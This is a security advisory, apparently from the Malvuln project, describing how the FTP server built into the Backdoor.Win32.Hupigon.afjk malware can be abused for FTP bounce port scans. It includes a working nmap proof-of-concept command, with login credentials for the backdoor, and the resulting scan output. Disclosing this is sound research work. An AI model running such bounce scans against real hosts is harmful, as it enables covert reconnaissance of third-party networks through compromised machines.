Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/80b0fc8c0657c0ae7971f09af45c706b_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.afjk
Vulnerability: Port Bounce Scan
Description: The malware runs an FTP server "huigezi Ftp" that listens on TCP port 2121. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 80b0fc8c0657c0ae7971f09af45c706b
Vuln ID: MVID-2021-0375
Disclosure: 10/27/2021

Exploit/PoC:
nmap -n -Pn -b mal:vuln@192.168.18.125:2121 -p21,22,23,79,80,443 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-27 12:57 Pacific Daylight Time
Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).
Attempting connection to ftp://mal:vuln@192.168.18.125:2121
Connected:220 Welcome To huigezi Ftp!
Login credentials accepted by FTP server!
Initiating Bounce Scan at 12:58
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 12:58, 5.48s elapsed (6 total ports)
Nmap scan report for 192.168.18.237
Host is up.

PORT    STATE  SERVICE
21/tcp  closed ftp
22/tcp  closed ssh
23/tcp  closed telnet
79/tcp  closed finger
80/tcp  open   http
443/tcp closed https

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 14.72 seconds

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